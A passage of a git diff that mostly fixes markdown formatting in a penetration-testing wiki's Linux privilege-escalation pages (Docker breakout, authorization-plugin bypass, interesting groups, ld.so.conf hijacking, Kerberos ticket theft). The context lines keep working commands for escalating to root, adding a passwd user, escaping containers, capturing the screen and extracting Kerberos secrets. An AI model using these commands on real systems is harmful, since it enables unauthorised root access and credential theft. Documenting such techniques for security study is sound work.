you can find between the lines 91-97 **how the **_**D-Bus object path**_ **and **_**interface name**_** are registered**. This information will be necessary to send information to the D-Bus connection: +At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the **_**D-Bus object path**_ **and **_**interface name**_** are registered**. This information will be necessary to send information to the D-Bus connection: ```c /* Install the object */ @@ -336,7 +336,7 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ -### C code +### C code {% code title="d-bus_server.c" %} ```c diff --git a/linux-unix/privilege-escalation/docker-breakout/README.md b/linux-unix/privilege-escalation/docker-breakout/README.md index 46de3752..67e21d7a 100644 --- a/linux-unix/privilege-escalation/docker-breakout/README.md +++ b/linux-unix/privilege-escalation/docker-breakout/README.md @@ -34,11 +34,11 @@ Container images are stored either in private repository or public repository. F ### Image Scanning -Containers can have** security vulnerabilities **either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. +Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. For more [**information read this**](https://docs.docker.com/engine/scan/). -#### How to scan images +#### How to scan images The `docker scan` command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: @@ -137,7 +137,7 @@ ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the ### Capabilities -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to** limit the operations that can be done inside a Container** irrespective of the type of user. +Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -238,19 +238,19 @@ If you’re using [Kubernetes](https://kubernetes.io/docs/concepts/configuration ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide** stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. {% embed url="https://katacontainers.io/" %} ### Summary Tips -* **Do not use the `--privileged` flag or mount a **[**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -* Do **not run as root inside the container. Use a **[**different user**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user)** and **[**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -* [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)** (`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -* [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)** **to prevent processes from gaining more privileges, for example through suid binaries. +* **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. +* Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. +* [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. +* [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **** to prevent processes from gaining more privileges, for example through suid binaries. * ****[**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -* **Adjust **[**seccomp**](https://docs.docker.com/engine/security/seccomp/)**, **[**AppArmor**](https://docs.docker.com/engine/security/apparmor/)** (or SELinux) **profiles to restrict the actions and syscalls available for the container to the minimum required. -* **Use **[**official docker images**](https://docs.docker.com/docker-hub/official\_images/) **and require signatures **or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. +* **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. +* **Use** [**official docker images**](https://docs.docker.com/docker-hub/official\_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. * **Regularly** **rebuild** your images to **apply security patches to the host an images.** * Manage your **secrets wisely** so it's difficult to the attacker to access them. * If you **exposes the docker daemon use HTTPS** with client & server authentication. diff --git a/linux-unix/privilege-escalation/docker-breakout/apparmor.md b/linux-unix/privilege-escalation/docker-breakout/apparmor.md index 7849a6d5..96f4af56 100644 --- a/linux-unix/privilege-escalation/docker-breakout/apparmor.md +++ b/linux-unix/privilege-escalation/docker-breakout/apparmor.md @@ -2,7 +2,7 @@ ## Basic Information -**AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources **with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. +**AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources** with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. It's a Mandatory Access Control or **MAC** that binds **access control** attributes **to programs rather than to users**.\ AppArmor confinement is provided via **profiles loaded into the kernel**, typically on boot.\ @@ -42,7 +42,7 @@ aa-mergeprof #used to merge the policies ## Creating a profile * In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -* To indicate the access the binary will have over **files** the following **access controls** can be used: +* To indicate the access the binary will have over **files** the following **access controls** can be used: * **r** (read) * **w** (write) * **m** (memory map as executable) @@ -204,7 +204,7 @@ Once you **run a docker container** you should see the following output: docker-default (825) ``` -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: +Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS\_ADMIN capability is granted** because by default docker apparmor profile denies this access: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash @@ -218,12 +218,12 @@ You need to **disable apparmor** to bypass its restrictions: docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS\_ADMIN capability. Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): -* `--cap-add=SYS_ADMIN`_ _give_ _`SYS_ADMIN` cap -* `--cap-add=ALL`_ _give_ _all caps +* `--cap-add=SYS_ADMIN` __ give __ `SYS_ADMIN` cap +* `--cap-add=ALL` __ give __ all caps * `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` {% hint style="info" %} diff --git a/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md b/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md index 3db790c7..40cb3712 100644 --- a/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md +++ b/linux-unix/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin.md @@ -1,6 +1,6 @@ # AuthZ& AuthN - Docker Access Authorization Plugin -**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access **policies for managing access to the Docker daemon. +**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. ## Basic architecture @@ -10,11 +10,11 @@ When an **HTTP** **request** is made to the Docker **daemon** through the CLI or The sequence diagrams below depict an allow and deny authorization flow: -![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) +![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png) -![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) +![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method **used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. @@ -32,11 +32,11 @@ The plugin [**authz**](https://github.com/twistlock/authz) allows you to create This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +In the page [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action ### Simple Plugin Tutorial -You can find an** easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)**** +You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)**** Read the `README` and the `plugin.go` code to understand how is it working. @@ -46,7 +46,7 @@ Read the `README` and the `plugin.go` code to understand how is it working. The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. -To perform this enumeration you can **use the tool **[**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** +To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.** ### disallowed `run --privileged` @@ -127,7 +127,7 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it ``` {% hint style="warning" %} -Note how in this example we are using the **`Binds `**param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** {% endhint %} #### Binds in HostConfig @@ -156,7 +156,7 @@ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d ' ### Unchecked JSON Attribute -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: +It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS\_MODULE** capability: ```bash docker version @@ -196,4 +196,4 @@ Remember to **re-enable the plugin after escalating**, or a **restart of docker ## References -* [https://docs.docker.com/engine/extend/plugins_authorization/](https://docs.docker.com/engine/extend/plugins_authorization/) +* [https://docs.docker.com/engine/extend/plugins\_authorization/](https://docs.docker.com/engine/extend/plugins\_authorization/) diff --git a/linux-unix/privilege-escalation/docker-breakout/seccomp.md b/linux-unix/privilege-escalation/docker-breakout/seccomp.md index 8b88f4ea..cb5fe2db 100644 --- a/linux-unix/privilege-escalation/docker-breakout/seccomp.md +++ b/linux-unix/privilege-escalation/docker-breakout/seccomp.md @@ -2,7 +2,7 @@ ## Basic Information -**Seccomp **or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ +**Seccomp** or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ Seccomp has 2 modes. **seccomp** (short for **secure computing mode**) is a computer security facility in the **Linux** **kernel**. seccomp allows a process to make a one-way transition into a "secure" state where **it cannot make any system calls except** `exit()`, `sigreturn()`, `read()` and `write()` to **already-open** file descriptors. Should it attempt any other system calls, the **kernel** will **terminate** the **process** with SIGKILL or SIGSYS. In this sense, it does not virtualize the system's resources but isolates the process from them entirely. @@ -13,7 +13,7 @@ seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SEC ### **Original/Strict Mode** -In this mode** **Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +In this mode **** Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL {% code title="seccomp_strict.c" %} ```c @@ -105,7 +105,7 @@ void main(void) { ## Seccomp in Docker -**Seccomp-bpf** is supported by **Docker **to restrict the **syscalls **from the containers effectively decreasing the surface area. You can find the **syscalls blocked **by **default **in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile **can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ You can run a docker container with a **different seccomp** policy with: ```bash @@ -115,9 +115,9 @@ docker run --rm \ hello-world ``` -If you want for example to **forbid **a container of executing some **syscall **like` uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ +If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls **of `uname` are discovered: +In the following example the **syscalls** of `uname` are discovered: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname diff --git a/linux-unix/privilege-escalation/escaping-from-limited-bash.md b/linux-unix/privilege-escalation/escaping-from-limited-bash.md index d39dd5f0..9ac6f551 100644 --- a/linux-unix/privilege-escalation/escaping-from-limited-bash.md +++ b/linux-unix/privilege-escalation/escaping-from-limited-bash.md @@ -6,9 +6,9 @@ ## Chroot limitation -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is** not intended to defend** against intentional tampering by **privileged **(**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**. +From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**. -Therefore, if you are **root **inside a chroot you **can escape **creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it: +Therefore, if you are **root** inside a chroot you **can escape** creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it: {% code title="break_chroot.c" %} ```c @@ -144,9 +144,9 @@ Tricks about escaping from python jails in the following page: ## Lua Jails -In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua_base](https://www.gammon.com.au/scripts/doc.php?general=lua_base) +In this page you can find the global functions you have access to inside lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base) -**Eval **with command execution**:** +**Eval** with command execution**:** ```bash load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))() diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md index f25450ff..99a4bdf4 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe/README.md @@ -16,7 +16,7 @@ This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. -If this is the case, to** become root you can just execute**: +If this is the case, to **become root you can just execute**: ``` sudo su @@ -30,22 +30,22 @@ Find all suid binaries and check if there is the binary **Pkexec**: find / -perm -4000 2>/dev/null ``` -If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo **or **admin**, you could probably execute binaries as sudo using `pkexec`.\ +If you find that the binar**y pkexec is a SUID** binary and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo **and** admin** appear. +There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. -To** become root you can execute**: +To **become root you can execute**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -If you try to execute **pkexec **and you get this **error**: +If you try to execute **pkexec** and you get this **error**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie @@ -80,7 +80,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 This means that **any user that belongs to the group wheel can execute anything as sudo**. -If this is the case, to** become root you can just execute**: +If this is the case, to **become root you can just execute**: ``` sudo su @@ -88,7 +88,7 @@ sudo su ## Shadow Group -Users from the **group shadow** can **read **the **/etc/shadow** file: +Users from the **group shadow** can **read** the **/etc/shadow** file: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow @@ -98,7 +98,7 @@ So, read the file and try to **crack some hashes**. ## Disk Group - This privilege is almost** equivalent to root access **as you can access all the data inside of the machine. + This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. Files:`/dev/sd[a-z][1-9]` @@ -118,7 +118,7 @@ debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -However, if you try to** write files owned by root **(like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. +However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. ## Video Group @@ -130,16 +130,16 @@ yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -The **tty1 **means that the user **yossi is logged physically** to a terminal on the machine. +The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to** grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` +The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -To **open **the **raw image** you can use **GIMP**, select the **`screen.raw` **file and select as file type **Raw image data**: +To **open** the **raw image** you can use **GIMP**, select the **`screen.raw` ** file and select as file type **Raw image data**: ![](<../../../.gitbook/assets/image (287).png>) @@ -149,7 +149,7 @@ Then modify the Width and Height to the ones used on the screen and check differ ## Root Group -It looks like by default** members of root group** could have access to **modify **some **service **configuration files or some **libraries **files or** other interesting things** that could be used to escalate privileges... +It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... **Check which files root members can modify**: @@ -173,7 +173,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to** run a privileged container and escape from it** as explained here: +Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: {% content-ref url="../docker-breakout/" %} [docker-breakout](../docker-breakout/) @@ -193,7 +193,7 @@ If you have write permissions over the docker socket read [**this post about how ## Adm Group -Usually **members **of the group **`adm`** have permissions to **read log **files located inside _/var/log/_.\ +Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. ## Auth group diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index c03fe43f..cb02cc0f 100644 --- a/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -46,7 +46,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t {% hint style="danger" %} If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -Run **`lxc init`** and **repeat **the previous chunk of commands +Run **`lxc init`** and **repeat** the previous chunk of commands {% endhint %} Execute the container: @@ -85,7 +85,7 @@ lxc start mycontainer lxc exec mycontainer /bin/sh ``` -Alternatively [https://github.com/initstring/lxd_root](https://github.com/initstring/lxd_root) +Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root) ## With internet diff --git a/linux-unix/privilege-escalation/ld.so.conf-example.md b/linux-unix/privilege-escalation/ld.so.conf-example.md index 8a8d45a3..e53325b2 100644 --- a/linux-unix/privilege-escalation/ld.so.conf-example.md +++ b/linux-unix/privilege-escalation/ld.so.conf-example.md @@ -38,14 +38,14 @@ void say_hi() {% endtab %} {% endtabs %} -1. **Create **those files in your machine in the same folder -2. **Compile **the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy**_** **libcustom.so _to_ /usr/lib_: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile **the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **Create** those files in your machine in the same folder +2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **Copy **_**** libcustom.so_ to _/usr/lib_: `sudo cp libcustom.so /usr/lib` (root privs) +4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` ### Check the environment -Check that _libcustom.so_ is being **loaded **from _/usr/lib_ and that you can **execute **the binary. +Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. ``` $ ldd sharedvuln @@ -61,14 +61,14 @@ Hi ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry **inside a file in _/etc/ld.so.conf/_: +In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Downloadand compile **the following code inside that path: +**Downloadand compile** the following code inside that path: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -85,9 +85,9 @@ void say_hi(){ } ``` -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot **or for the root user to execute **`ldconfig `**(_in case you can execute this binary as **sudo **or it has the **suid bit **you will be able to execute it yourself_). +Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). -Once this has happened **recheck **where is the `sharevuln` executable loading the `libcustom.so` library from: +Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: ```c $ldd sharedvuln @@ -111,10 +111,10 @@ ubuntu Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. {% endhint %} -### Other misconfigurations - Same vuln +### Other misconfigurations - Same vuln In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions **in some **config file **inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. ## Exploit 2 @@ -128,7 +128,7 @@ echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` -Now, as indicated in the **previous exploit**,** create the malicious library inside **_**/tmp**_.\ +Now, as indicated in the **previous exploit**, **create the malicious library inside **_**/tmp**_.\ And finally, lets load the path and check where is the binary loading the library from: ```bash diff --git a/linux-unix/privilege-escalation/linux-active-directory.md b/linux-unix/privilege-escalation/linux-active-directory.md index 4ad6b362..1057e1e1 100644 --- a/linux-unix/privilege-escalation/linux-active-directory.md +++ b/linux-unix/privilege-escalation/linux-active-directory.md @@ -2,7 +2,7 @@ A linux machine can also be present inside an Active Directory environment. -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root **inside the machine. +A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. ### Pass The Ticket @@ -16,7 +16,7 @@ In this page you are going to find different places were you could **find kerber > When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be** reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. ```bash ls /tmp/ | grep krb5cc @@ -53,7 +53,7 @@ make CONF=Release SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. -Invoking **`SSSDKCMExtractor` **with the --database and --key parameters will parse the database and **decrypt the secrets**. +Invoking **`SSSDKCMExtractor` ** with the --database and --key parameters will parse the database and **decrypt the secrets**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor @@ -98,7 +98,7 @@ python3 keytabextract.py krb5.keytab NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky ``` -On **macOS **you can use [**`bifrost`**](https://github.com/its-a-feature/bifrost). +On **macOS** you can use [**`bifrost`**](https://github.com/its-a-feature/bifrost). ```bash ./bifrost -action dump -source keytab -path test diff --git a/linux-unix/privilege-escalation/logstash.md b/linux-unix/privilege-escalation/logstash.md index f9dddb49..db5b8b61 100644 --- 